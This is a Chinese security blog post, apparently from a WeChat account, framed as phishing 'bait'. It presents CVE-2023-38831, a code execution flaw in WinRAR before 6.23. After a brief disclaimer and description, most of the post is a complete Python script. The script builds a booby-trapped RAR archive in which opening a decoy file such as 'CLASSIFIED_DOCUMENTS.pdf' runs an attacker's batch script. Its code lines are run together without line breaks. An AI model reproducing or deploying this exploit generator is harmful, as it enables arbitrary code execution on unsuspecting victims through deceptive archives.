【猫蛋儿钓鱼】鱼饵-WinRAR远程代码执行（CVE-2023-38831）

2023年10月27日01:56:34评论18 views字数 2131阅读7分6秒阅读模式

声明：此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！

现在只对常读和星标的公众号才展示大图推送，建议大家把猫蛋儿安全“设为星标”，否则可能看不到了！

0x00 前言

WinRAR是一款文件压缩器，该产品支持RAR、ZIP等格式文件的压缩和解压等。WinRAR 在处理压缩包内同名的文件与文件夹时代码执行漏洞，攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件，诱导受害者打开此文件后，将在受害者机器上执行任意代码。

本漏洞不适合实战使用，脱离了常规逻辑的用户点击使用习惯，且文案很难搭配。因此只建议本地复现熟悉一下，以防面试中问起来不知道。

0x01 影响版本

WinRAR< 6.23

【猫蛋儿钓鱼】鱼饵-WinRAR远程代码执行（CVE-2023-38831）

0x02 复现过程

恶意winrar制作代码如下

import shutilimport os, sysfrom os.path import joinTEMPLATE_NAME = "TEMPLATE"OUTPUT_NAME = "CVE-2023-38831-poc.rar"
BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"SCRIPT_NAME = "script.bat"
if len(sys.argv) > 3:    BAIT_NAME = os.path.basename(sys.argv[1])    SCRIPT_NAME = os.path.basename(sys.argv[2])    OUTPUT_NAME = os.path.basename(sys.argv[3])elif len(sys.argv) == 2 and sys.argv[1] == "poc":    passelse:    print("""Usage:          python .cve-2023-38831-exp-gen.py poc          python .cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")    sys.exit()
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
print("BAIT_NAME:", BAIT_NAME)print("SCRIPT_NAME:", SCRIPT_NAME)print("OUTPUT_NAME:", OUTPUT_NAME)
if os.path.exists(TEMPLATE_NAME):    shutil.rmtree(TEMPLATE_NAME)os.mkdir(TEMPLATE_NAME)d = join(TEMPLATE_NAME, BAIT_NAME + "A")if not os.path.exists(d):    os.mkdir(d)
shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
with open(TEMPLATE_NAME + ".zip", "rb") as f:    content = f.read()    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(OUTPUT_NAME, "wb")  as f:    f.write(content)
print("ok..")